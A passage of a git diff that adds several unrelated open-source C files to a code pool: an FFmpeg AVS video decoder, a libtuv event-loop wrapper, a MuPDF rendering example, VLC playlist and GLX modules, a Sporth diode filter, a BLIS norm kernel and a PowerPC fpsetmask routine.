+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include "avcodec.h"
+#include "get_bits.h"
+#include "internal.h"
+
+typedef struct AvsContext {
+    AVFrame *frame;
+} AvsContext;
+
+typedef enum {
+    AVS_VIDEO     = 0x01,
+    AVS_AUDIO     = 0x02,
+    AVS_PALETTE   = 0x03,
+    AVS_GAME_DATA = 0x04,
+} AvsBlockType;
+
+typedef enum {
+    AVS_I_FRAME     = 0x00,
+    AVS_P_FRAME_3X3 = 0x01,
+    AVS_P_FRAME_2X2 = 0x02,
+    AVS_P_FRAME_2X3 = 0x03,
+} AvsVideoSubType;
+
+
+static int
+avs_decode_frame(AVCodecContext * avctx,
+                 void *data, int *got_frame, AVPacket *avpkt)
+{
+    const uint8_t *buf = avpkt->data;
+    const uint8_t *buf_end = avpkt->data + avpkt->size;
+    int buf_size = avpkt->size;
+    AvsContext *const avs = avctx->priv_data;
+    AVFrame *picture = data;
+    AVFrame *const p =  avs->frame;
+    const uint8_t *table, *vect;
+    uint8_t *out;
+    int i, j, x, y, stride, ret, vect_w = 3, vect_h = 3;
+    AvsVideoSubType sub_type;
+    AvsBlockType type;
+    GetBitContext change_map = {0}; //init to silence warning
+
+    if ((ret = ff_reget_buffer(avctx, p)) < 0)
+        return ret;
+    p->pict_type = AV_PICTURE_TYPE_P;
+    p->key_frame = 0;
+
+    out    = p->data[0];
+    stride = p->linesize[0];
+
+    if (buf_end - buf < 4)
+        return AVERROR_INVALIDDATA;
+    sub_type = buf[0];
+    type = buf[1];
+    buf += 4;
+
+    if (type == AVS_PALETTE) {
+        int first, last;
+        uint32_t *pal = (uint32_t *) p->data[1];
+
+        first = AV_RL16(buf);
+        last = first + AV_RL16(buf + 2);
+        if (first >= 256 || last > 256 || buf_end - buf < 4 + 4 + 3 * (last - first))
+            return AVERROR_INVALIDDATA;
+        buf += 4;
+        for (i=first; i<last; i++, buf+=3) {
+            pal[i] = (buf[0] << 18) | (buf[1] << 10) | (buf[2] << 2);
+            pal[i] |= 0xFFU << 24 | (pal[i] >> 6) & 0x30303;
+        }
+
+        sub_type = buf[0];
+        type = buf[1];
+        buf += 4;
+    }
+
+    if (type != AVS_VIDEO)
+        return AVERROR_INVALIDDATA;
+
+    switch (sub_type) {
+    case AVS_I_FRAME:
+        p->pict_type = AV_PICTURE_TYPE_I;
+        p->key_frame = 1;
+    case AVS_P_FRAME_3X3:
+        vect_w = 3;
+        vect_h = 3;
+        break;
+
+    case AVS_P_FRAME_2X2:
+        vect_w = 2;
+        vect_h = 2;
+        break;
+
+    case AVS_P_FRAME_2X3:
+        vect_w = 2;
+        vect_h = 3;
+        break;
+
+    default:
+      return AVERROR_INVALIDDATA;
+    }
+
+    if (buf_end - buf < 256 * vect_w * vect_h)
+        return AVERROR_INVALIDDATA;
+    table = buf + (256 * vect_w * vect_h);
+    if (sub_type != AVS_I_FRAME) {
+        int map_size = ((318 / vect_w + 7) / 8) * (198 / vect_h);
+        if (buf_end - table < map_size)
+            return AVERROR_INVALIDDATA;
+        init_get_bits(&change_map, table, map_size * 8);
+        table += map_size;
+    }
+
+    for (y=0; y<198; y+=vect_h) {
+        for (x=0; x<318; x+=vect_w) {
+            if (sub_type == AVS_I_FRAME || get_bits1(&change_map)) {
+                if (buf_end - table < 1)
+                    return AVERROR_INVALIDDATA;
+                vect = &buf[*table++ * (vect_w * vect_h)];
+                for (j=0; j<vect_w; j++) {
+                    out[(y + 0) * stride + x + j] = vect[(0 * vect_w) + j];
+                    out[(y + 1) * stride + x + j] = vect[(1 * vect_w) + j];
+                    if (vect_h == 3)
+                        out[(y + 2) * stride + x + j] =
+                            vect[(2 * vect_w) + j];
+                }
+            }
+        }
+        if (sub_type != AVS_I_FRAME)
+            align_get_bits(&change_map);
+    }
+
+    if ((ret = av_frame_ref(picture, p)) < 0)
+        return ret;
+    *got_frame = 1;
+
+    return buf_size;
+}
+
+static av_cold int avs_decode_init(AVCodecContext * avctx)
+{
+    AvsContext *s = avctx->priv_data;
+
+    s->frame = av_frame_alloc();
+    if (!s->frame)
+        return AVERROR(ENOMEM);
+
+    avctx->pix_fmt = AV_PIX_FMT_PAL8;
+
+    return ff_set_dimensions(avctx, 318, 198);
+}
+
+static av_cold int avs_decode_end(AVCodecContext *avctx)
+{
+    AvsContext *s = avctx->priv_data;
+    av_frame_free(&s->frame);
+    return 0;
+}
+
+
+AVCodec ff_avs_decoder = {
+    .name           = "avs",
+    .long_name      = NULL_IF_CONFIG_SMALL("AVS (Audio Video Standard) video"),
+    .type           = AVMEDIA_TYPE_VIDEO,
+    .id             = AV_CODEC_ID_AVS,
+    .priv_data_size = sizeof(AvsContext),
+    .init           = avs_decode_init,
+    .decode         = avs_decode_frame,
+    .close          = avs_decode_end,
+    .capabilities   = AV_CODEC_CAP_DR1,
+};
diff --git a/pool/shard001/C/0025149_libtuvapi.c b/pool/shard001/C/0025149_libtuvapi.c
new file mode 100644
index 0000000000000000000000000000000000000000..3dbb082d2a2a35b410be011d1fe35b5d9582ce77
--- /dev/null
+++ b/pool/shard001/C/0025149_libtuvapi.c
@@ -0,0 +1,187 @@
+/****************************************************************************
+ *
+ * Copyright 2017 Samsung Electronics All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
+ * either express or implied. See the License for the specific
+ * language governing permissions and limitations under the License.
+ *
+ ****************************************************************************/
+
+#include <stdio.h>
+#include <libtuvapi.h>
+#include <uv.h>
+
+struct _timeout {
+	timeout_callback func;
+	void *user_data;
+	uv_timer_t *handle;
+};
+
+struct _watch {
+	watch_callback func;
+	void *user_data;
+	uv_poll_t *handle;
+	int fd;
+};
+
+struct _idle {
+	idle_callback func;
+	void *user_data;
+	uv_idle_t *handle;
+};
+
+static uv_loop_t *_loop;
+
+static void _check_loop(void)
+{
+	if (_loop == NULL) {
+		_loop = uv_default_loop();
+	}
+}
+
+static uv_loop_t *_get_loop(void)
+{
+	_check_loop();
+	return _loop;
+}
+
+void libtuv_loop_run(void)
+{
+	uv_run(_get_loop(), UV_RUN_DEFAULT);
+}
+
+void libtuv_loop_quit(void)
+{
+	if (_loop) {
+		uv_loop_close(_loop);
+	}
+
+	_loop = NULL;
+}
+
+static void _timeout_callback(uv_timer_t *handle)
+{
+	struct _timeout *timeout = handle->data;
+
+	if (timeout->func) {
+		timeout->func(timeout->user_data);
+	}
+
+	uv_timer_stop(timeout->handle);
+	free(timeout->handle);
+
+	memset(timeout, 0, sizeof(struct _timeout));
+	free(timeout);
+}
+
+int libtuv_add_timeout_callback(unsigned int msec, timeout_callback func, void *user_data)
+{
+	struct _timeout *timeout = NULL;
+
+	timeout = (struct _timeout *)malloc(sizeof(struct _timeout));
+	timeout->func = func;
+	timeout->user_data = user_data;
+	timeout->handle = (uv_timer_t *)malloc(sizeof(uv_timer_t));
+	timeout->handle->data = timeout;
+
+	uv_update_time(_get_loop());
+	uv_timer_init(_get_loop(), timeout->handle);
+	uv_timer_start(timeout->handle, _timeout_callback, msec, 0);
+
+	return 0;
+}
+
+static void _watch_callback(uv_poll_t *handle, int status, int events)
+{
+	struct _watch *watch = handle->data;
+	enum watch_io io = 0;
+	int ret;
+
+	if (events & UV_READABLE) {
+		io |= WATCH_IO_IN;
+	}
+	if (events & UV_WRITABLE) {
+		io |= WATCH_IO_OUT;
+	}
+	if (events & UV_DISCONNECT) {
+		io |= WATCH_IO_HUP;
+	}
+
+	ret = watch->func(watch->fd, io, watch->user_data);
+	if (!ret) {
+		uv_poll_stop(watch->handle);
+		free(watch->handle);
+
+		memset(watch, 0, sizeof(struct _watch));
+		free(watch);
+	}
+}
+
+int libtuv_add_fd_watch(int fd, enum watch_io io, watch_callback func, void *user_data, int *watch_id)
+{
+	struct _watch *watch;
+	int events = 0;
+
+	watch = (struct _watch *)malloc(sizeof(struct _watch));
+	watch->func = func;
+	watch->user_data = user_data;
+	watch->handle = (uv_poll_t *)malloc(sizeof(uv_poll_t));
+	watch->handle->data = watch;
+
+	if (io & WATCH_IO_IN) {
+		events |= UV_READABLE;
+	}
+	if (io & WATCH_IO_OUT) {
+		events |= UV_WRITABLE;
+	}
+	if (io & WATCH_IO_HUP) {
+		events |= UV_DISCONNECT;
+	}
+
+	uv_poll_init_socket(_get_loop(), watch->handle, fd);
+	uv_poll_start(watch->handle, events, _watch_callback);
+
+	watch->fd = fd;
+
+	return 0;
+}
+
+static void _idle_callback(uv_idle_t *handle)
+{
+	struct _idle *idle = handle->data;
+	int ret;
+
+	ret = idle->func(idle->user_data);
+	if (!ret) {
+		uv_idle_stop(idle->handle);
+		free(idle->handle);
+
+		memset(idle, 0, sizeof(struct _idle));
+		free(idle);
+	}
+}
+
+int libtuv_add_idle_callback(idle_callback func, void *user_data)
+{
+	struct _idle *idle;
+
+	idle = (struct _idle *)malloc(sizeof(struct _idle));
+	idle->func = func;
+	idle->user_data = user_data;
+	idle->handle = (uv_idle_t *)malloc(sizeof(uv_idle_t));
+	idle->handle->data = idle;
+
+	uv_idle_init(_get_loop(), idle->handle);
+	uv_idle_start(idle->handle, _idle_callback);
+
+	return 0;
+}
diff --git a/pool/shard001/C/0025154_example.c b/pool/shard001/C/0025154_example.c
new file mode 100644
index 0000000000000000000000000000000000000000..660d394bb1fc806b30684e0ff3a38d9dae6ac20b
--- /dev/null
+++ b/pool/shard001/C/0025154_example.c
@@ -0,0 +1,108 @@
+// Rendering a page of a PDF document to a PNG image in less than 100 lines.
+
+// Compile a debug build of mupdf, then compile and run this example:
+//
+// gcc -g -o build/debug/example -Iinclude docs/example.c \
+//	build/debug/libmupdf.a \
+//	build/debug/libfreetype.a build/debug/libjbig2dec.a \
+//	build/debug/libjpeg.a build/debug/libopenjpeg.a \
+//	build/debug/libz.a -lm
+//
+// build/debug/example /path/to/document.pdf 1 200 25
+
+// Include the MuPDF header file.
+#include <mupdf/fitz.h>
+
+void
+render(char *filename, int pagenumber, int zoom, int rotation)
+{
+	// Create a context to hold the exception stack and various caches.
+
+	fz_context *ctx = fz_new_context(NULL, NULL, FZ_STORE_UNLIMITED);
+
+	// Register the default file types.
+
+	fz_register_document_handlers(ctx);
+
+	// Open the PDF, XPS or CBZ document.
+
+	fz_document *doc = fz_open_document(ctx, filename);
+
+	// Retrieve the number of pages (not used in this example).
+
+	int pagecount = fz_count_pages(doc);
+
+	// Load the page we want. Page numbering starts from zero.
+
+	fz_page *page = fz_load_page(doc, pagenumber - 1);
+
+	// Calculate a transform to use when rendering. This transform
+	// contains the scale and rotation. Convert zoom percentage to a
+	// scaling factor. Without scaling the resolution is 72 dpi.
+
+	fz_matrix transform;
+	fz_rotate(&transform, rotation);
+	fz_pre_scale(&transform, zoom / 100.0f, zoom / 100.0f);
+
+	// Take the page bounds and transform them by the same matrix that
+	// we will use to render the page.
+
+	fz_rect bounds;
+	fz_bound_page(doc, page, &bounds);
+	fz_transform_rect(&bounds, &transform);
+
+	// Create a blank pixmap to hold the result of rendering. The
+	// pixmap bounds used here are the same as the transformed page
+	// bounds, so it will contain the entire page. The page coordinate
+	// space has the origin at the top left corner and the x axis
+	// extends to the right and the y axis extends down.
+
+	fz_irect bbox;
+	fz_round_rect(&bbox, &bounds);
+	fz_pixmap *pix = fz_new_pixmap_with_bbox(ctx, fz_device_rgb(ctx), &bbox);
+	fz_clear_pixmap_with_value(ctx, pix, 0xff);
+
+	// A page consists of a series of objects (text, line art, images,
+	// gradients). These objects are passed to a device when the
+	// interpreter runs the page. There are several devices, used for
+	// different purposes:
+	//
+	//	draw device -- renders objects to a target pixmap.
+	//
+	//	text device -- extracts the text in reading order with styling
+	//	information. This text can be used to provide text search.
+	//
+	//	list device -- records the graphic objects in a list that can
+	//	be played back through another device. This is useful if you
+	//	need to run the same page through multiple devices, without
+	//	the overhead of parsing the page each time.
+
+	// Create a draw device with the pixmap as its target.
+	// Run the page with the transform.
+
+	fz_device *dev = fz_new_draw_device(ctx, pix);
+	fz_run_page(doc, page, dev, &transform, NULL);
+	fz_free_device(dev);
+
+	// Save the pixmap to a file.
+
+	fz_write_png(ctx, pix, "out.png", 0);
+
+	// Clean up.
+
+	fz_drop_pixmap(ctx, pix);
+	fz_free_page(doc, page);
+	fz_close_document(doc);
+	fz_free_context(ctx);
+}
+
+int main(int argc, char **argv)
+{
+	char *filename = argc >= 2 ? argv[1] : "";
+	int pagenumber = argc > 2 ? atoi(argv[2]) : 1;
+	int zoom = argc > 3 ? atoi(argv[3]) : 100;
+	int rotation = argc > 4 ? atoi(argv[4]) : 0;
+
+	render(filename, pagenumber, zoom, rotation);
+	return 0;
+}
diff --git a/pool/shard001/C/0025155_services_discovery.c b/pool/shard001/C/0025155_services_discovery.c
new file mode 100644
index 0000000000000000000000000000000000000000..d1b951ea4033cc4c0bb0fef83b0b7c18a5058d09
--- /dev/null
+++ b/pool/shard001/C/0025155_services_discovery.c
@@ -0,0 +1,182 @@
+/*****************************************************************************
+ * services_discovery.c : Manage playlist services_discovery modules
+ *****************************************************************************
+ * Copyright (C) 1999-2004 the VideoLAN team
+ * $Id: services_discovery.c 14118 2006-02-01 18:06:48Z courmisch $
+ *
+ * Authors: Clément Stenac <zorglub@videolan.org>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
+ *****************************************************************************/
+#include <stdlib.h>                                      /* free(), strtol() */
+#include <stdio.h>                                              /* sprintf() */
+#include <string.h>                                            /* strerror() */
+
+#include <vlc/vlc.h>
+#include <vlc/vout.h>
+#include <vlc/sout.h>
+#include <vlc/input.h>
+
+#include "vlc_playlist.h"
+
+/*****************************************************************************
+ * Local prototypes
+ *****************************************************************************/
+
+static void RunSD( services_discovery_t *p_sd );
+
+
+/***************************************************************************
+***************************************************************************/
+
+int playlist_ServicesDiscoveryAdd( playlist_t *p_playlist,
+                                   const char *psz_module )
+{
+    services_discovery_t *p_sd;
+
+    p_sd = vlc_object_create( p_playlist, VLC_OBJECT_SD );
+    p_sd->pf_run = NULL;
+
+    p_sd->p_module = module_Need( p_sd, "services_discovery", psz_module, 0 );
+
+    if( p_sd->p_module == NULL )
+    {
+        msg_Err( p_playlist, "no suitable services discovery module" );
+        vlc_object_destroy( p_sd );
+        return VLC_EGENERIC;
+    }
+
+    p_sd->psz_module = strdup( psz_module );
+    p_sd->b_die = VLC_FALSE;
+
+    vlc_mutex_lock( &p_playlist->object_lock );
+
+    INSERT_ELEM( p_playlist->pp_sds, p_playlist->i_sds, p_playlist->i_sds,
+                 p_sd );
+
+    vlc_mutex_unlock( &p_playlist->object_lock );
+
+    if( vlc_thread_create( p_sd, "services_discovery", RunSD,
+                           VLC_THREAD_PRIORITY_LOW, VLC_FALSE ) )
+    {
+        msg_Err( p_sd, "cannot create services discovery thread" );
+        vlc_object_destroy( p_sd );
+        return VLC_EGENERIC;
+    }
+
+
+    return VLC_SUCCESS;
+}
+
+int playlist_ServicesDiscoveryRemove( playlist_t * p_playlist,
+                                       const char *psz_module )
+{
+    int i;
+    services_discovery_t *p_sd = NULL;
+    vlc_mutex_lock( &p_playlist->object_lock );
+
+    for( i = 0 ; i< p_playlist->i_sds ; i ++ )
+    {
+        if( !strcmp( psz_module, p_playlist->pp_sds[i]->psz_module ) )
+        {
+            p_sd = p_playlist->pp_sds[i];
+            REMOVE_ELEM( p_playlist->pp_sds, p_playlist->i_sds, i );
+            break;
+        }
+    }
+
+    if( p_sd )
+    {
+        vlc_mutex_unlock( &p_playlist->object_lock );
+        p_sd->b_die = VLC_TRUE;
+        vlc_thread_join( p_sd );
+        free( p_sd->psz_module );
+        module_Unneed( p_sd, p_sd->p_module );
+        vlc_mutex_lock( &p_playlist->object_lock );
+        vlc_object_destroy( p_sd );
+    }
+    else
+    {
+        msg_Warn( p_playlist, "module %s is not loaded", psz_module );
+        vlc_mutex_unlock( &p_playlist->object_lock );
+        return VLC_EGENERIC;
+    }
+
+    vlc_mutex_unlock( &p_playlist->object_lock );
+    return VLC_SUCCESS;
+}
+
+vlc_bool_t playlist_IsServicesDiscoveryLoaded( playlist_t * p_playlist,
+                                              const char *psz_module )
+{
+    int i;
+    vlc_mutex_lock( &p_playlist->object_lock );
+
+    for( i = 0 ; i< p_playlist->i_sds ; i ++ )
+    {
+        if( !strcmp( psz_module, p_playlist->pp_sds[i]->psz_module ) )
+        {
+            vlc_mutex_unlock( &p_playlist->object_lock );
+            return VLC_TRUE;
+        }
+    }
+    vlc_mutex_unlock( &p_playlist->object_lock );
+    return VLC_FALSE;
+}
+
+
+/**
+ * Load all service discovery modules in a string
+ *
+ * \param p_playlist the playlist
+ * \param psz_modules a list of modules separated by commads
+ * return VLC_SUCCESS or an error
+ */
+int playlist_AddSDModules( playlist_t *p_playlist, char *psz_modules )
+{
+    if( psz_modules && *psz_modules )
+    {
+        char *psz_parser = psz_modules;
+        char *psz_next;
+
+        while( psz_parser && *psz_parser )
+        {
+            while( *psz_parser == ' ' || *psz_parser == ':' )
+            {
+                psz_parser++;
+            }
+
+            if( (psz_next = strchr( psz_parser, ':' ) ) )
+            {
+                *psz_next++ = '\0';
+            }
+            if( *psz_parser == '\0' )
+            {
+                break;
+            }
+
+            playlist_ServicesDiscoveryAdd( p_playlist, psz_parser );
+
+            psz_parser = psz_next;
+        }
+    }
+    return VLC_SUCCESS;
+}
+
+static void RunSD( services_discovery_t *p_sd )
+{
+    p_sd->pf_run( p_sd );
+    return;
+}
diff --git a/pool/shard001/C/0025164_diode.c b/pool/shard001/C/0025164_diode.c
new file mode 100644
index 0000000000000000000000000000000000000000..d8d6aebb4ace1e1ead95b745c3e19f7b0df8276d
--- /dev/null
+++ b/pool/shard001/C/0025164_diode.c
@@ -0,0 +1,63 @@
+#include "plumber.h"
+
+int sporth_diode(sporth_stack *stack, void *ud)
+{
+    plumber_data *pd = ud;
+    SPFLOAT input;
+    SPFLOAT out_left;
+    SPFLOAT freq;
+    SPFLOAT res;
+    sp_diode *diode;
+
+    switch(pd->mode) {
+        case PLUMBER_CREATE:
+
+#ifdef DEBUG_MODE
+            plumber_print(pd, "diode: Creating\n");
+#endif
+
+            sp_diode_create(&diode);
+            plumber_add_ugen(pd, SPORTH_DIODE, diode);
+            if(sporth_check_args(stack, "fff") != SPORTH_OK) {
+                plumber_print(pd,"Not enough arguments for diode\n");
+                stack->error++;
+                return PLUMBER_NOTOK;
+            }
+            res = sporth_stack_pop_float(stack);
+            freq = sporth_stack_pop_float(stack);
+            input = sporth_stack_pop_float(stack);
+            sporth_stack_push_float(stack, 0);
+            break;
+        case PLUMBER_INIT:
+
+#ifdef DEBUG_MODE
+            plumber_print(pd, "diode: Initialising\n");
+#endif
+
+            res = sporth_stack_pop_float(stack);
+            freq = sporth_stack_pop_float(stack);
+            input = sporth_stack_pop_float(stack);
+            diode = pd->last->ud;
+            sp_diode_init(pd->sp, diode);
+            sporth_stack_push_float(stack, 0);
+            break;
+        case PLUMBER_COMPUTE:
+            res = sporth_stack_pop_float(stack);
+            freq = sporth_stack_pop_float(stack);
+            input = sporth_stack_pop_float(stack);
+            diode = pd->last->ud;
+            diode->freq = freq;
+            diode->res = res;
+            sp_diode_compute(pd->sp, diode, &input, &out_left);
+            sporth_stack_push_float(stack, out_left);
+            break;
+        case PLUMBER_DESTROY:
+            diode = pd->last->ud;
+            sp_diode_destroy(&diode);
+            break;
+        default:
+            plumber_print(pd, "diode: Unknown mode!\n");
+            break;
+    }
+    return PLUMBER_OK;
+}
diff --git a/pool/shard001/C/0025170_bli_normiv_unb_var1.c b/pool/shard001/C/0025170_bli_normiv_unb_var1.c
new file mode 100644
index 0000000000000000000000000000000000000000..9f3f154f474f15be3230b04a999ac192370182da
--- /dev/null
+++ b/pool/shard001/C/0025170_bli_normiv_unb_var1.c
@@ -0,0 +1,118 @@
+/*
+
+   BLIS    
+   An object-based framework for developing high-performance BLAS-like
+   libraries.
+
+   Copyright (C) 2014, The University of Texas at Austin
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+    - Redistributions of source code must retain the above copyright
+      notice, this list of conditions and the following disclaimer.
+    - Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+    - Neither the name of The University of Texas at Austin nor the names
+      of its contributors may be used to endorse or promote products
+      derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+   A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+   HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+   SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+   LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+   DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+   THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+   OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+*/
+
+#include "blis.h"
+
+#define FUNCPTR_T normiv_fp
+
+typedef void (*FUNCPTR_T)(
+                           dim_t  n,
+                           void*  x, inc_t incx,
+                           void*  norm
+                         );
+
+static FUNCPTR_T GENARRAY(ftypes,normiv_unb_var1);
+
+
+void bli_normiv_unb_var1( obj_t*  x,
+                          obj_t*  norm )
+{
+	num_t     dt_x     = bli_obj_datatype( *x );
+
+	dim_t     n        = bli_obj_vector_dim( *x );
+
+	inc_t     inc_x    = bli_obj_vector_inc( *x );
+	void*     buf_x    = bli_obj_buffer_at_off( *x );
+
+	void*     buf_norm = bli_obj_buffer_at_off( *norm );
+
+	FUNCPTR_T f;
+
+	// Index into the type combination array to extract the correct
+	// function pointer.
+	f = ftypes[dt_x];
+
+	// Invoke the function.
+	f( n,
+	   buf_x, inc_x,
+	   buf_norm );
+}
+
+
+#undef  GENTFUNCR
+#define GENTFUNCR( ctype, ctype_r, ch, chr, varname ) \
+\
+void PASTEMAC(ch,varname)( \
+                           dim_t  n, \
+                           void*  x, inc_t incx, \
+                           void*  norm  \
+                         ) \
+{ \
+	ctype*   x_cast    = x; \
+	ctype_r* norm_cast = norm; \
+	ctype*   chi1; \
+	ctype_r  abs_chi1; \
+	ctype_r  abs_chi1_max; \
+	dim_t    i; \
+\
+	/* NOTE: Early returns due to empty dimensions are handled by the
+	   caller. */ \
+\
+	/* Initialize the maximum absolute value to zero. */ \
+	PASTEMAC(chr,set0s)( abs_chi1_max ); \
+\
+	for ( i = 0; i < n; ++i ) \
+	{ \
+		chi1 = x_cast + (i  )*incx; \
+\
+		/* Compute the absolute value (or complex magnitude) of chi1. */ \
+		PASTEMAC2(ch,chr,abval2s)( *chi1, abs_chi1 ); \
+\
+		/* If the absolute value of the current element exceeds that of
+		   the previous largest, save it and its index. If NaN is
+		   encountered, then treat it the same as if it were a valid
+		   value that was smaller than any previously seen. This
+		   behavior mimics that of LAPACK's ?lange(). */ \
+		if ( abs_chi1_max < abs_chi1 || bli_isnan( abs_chi1 ) ) \
+		{ \
+			PASTEMAC(chr,copys)( abs_chi1, abs_chi1_max ); \
+		} \
+	} \
+\
+	/* Store the final value to the output variable. */ \
+	PASTEMAC(chr,copys)( abs_chi1_max, *norm_cast ); \
+}
+
+INSERT_GENTFUNCR_BASIC0( normiv_unb_var1 )
+
diff --git a/pool/shard001/C/0025171_fpsetmask.c b/pool/shard001/C/0025171_fpsetmask.c
new file mode 100644
index 0000000000000000000000000000000000000000..becd4a6dc9d75f5b59fc19ff2c009a1e58bf19b1
--- /dev/null
+++ b/pool/shard001/C/0025171_fpsetmask.c
@@ -0,0 +1,52 @@
+/*	$NetBSD: fpsetmask.c,v 1.3 2002/01/13 21:45:48 thorpej Exp $	*/
+
+/*
+ * Copyright (c) 1999 The NetBSD Foundation, Inc.
+ * All rights reserved.
+ *
+ * This code is derived from software contributed to The NetBSD Foundation
+ * by Dan Winship.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
+ * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+#include <sys/cdefs.h>
+__FBSDID("$FreeBSD: soc2013/dpl/head/lib/libc/powerpc64/gen/fpsetmask.c 252297 2013-05-29 01:54:10Z emaste $");
+
+#include <sys/types.h>
+#include <ieeefp.h>
+
+#ifndef _SOFT_FLOAT
+fp_except_t
+fpsetmask(fp_except_t mask)
+{
+	u_int64_t fpscr;
+	fp_rnd_t old;
+
+	__asm__("mffs %0" : "=f"(fpscr));
+	old = (fp_rnd_t)((fpscr >> 3) & 0x1f);
+	fpscr = (fpscr & 0xffffff07) | (mask << 3);
+	__asm__ __volatile("mtfsf 0xff,%0" :: "f"(fpscr));
+	return (old);
+}
+#endif
diff --git a/pool/shard001/C/0025183_glx.c b/pool/shard001/C/0025183_glx.c
new file mode 100644
index 0000000000000000000000000000000000000000..0d3dbb6c37d638ee99e421e49910f22b099301dc
--- /dev/null
+++ b/pool/shard001/C/0025183_glx.c
@@ -0,0 +1,263 @@
+/**
+ * @file glx.c
+ * @brief GLX video output module for VLC media player
+ */
+/*****************************************************************************
+ * Copyright © 2004 VLC authors and VideoLAN
+ * Copyright © 2009 Rémi Denis-Courmont
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as published by
+ * the Free Software Foundation; either version 2.1 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
+ *****************************************************************************/
+
+#ifdef HAVE_CONFIG_H
+# include <config.h>
+#endif
+
+#include <stdlib.h>
+#include <assert.h>
+
+#include <xcb/xcb.h>
+
+#include <vlc_common.h>
+#include <vlc_plugin.h>
+#include <vlc_vout_display.h>
+#include <vlc_opengl.h>
+#include "../opengl.h"
+
+#include "events.h"
+
+static int  Open (vlc_object_t *);
+static void Close (vlc_object_t *);
+
+/*
+ * Module descriptor
+ */
+vlc_module_begin ()
+    set_shortname (N_("GLX"))
+    set_description (N_("OpenGL GLX video output (XCB)"))
+    set_category (CAT_VIDEO)
+    set_subcategory (SUBCAT_VIDEO_VOUT)
+    set_capability ("vout display", 250)
+    set_callbacks (Open, Close)
+
+    add_shortcut ("xcb-glx", "glx", "opengl", "xid")
+vlc_module_end ()
+
+struct vout_display_sys_t
+{
+    xcb_connection_t *conn; /**< XCB connection */
+    vlc_gl_t *gl;
+
+    xcb_cursor_t cursor; /* blank cursor */
+    bool visible; /* whether to draw */
+
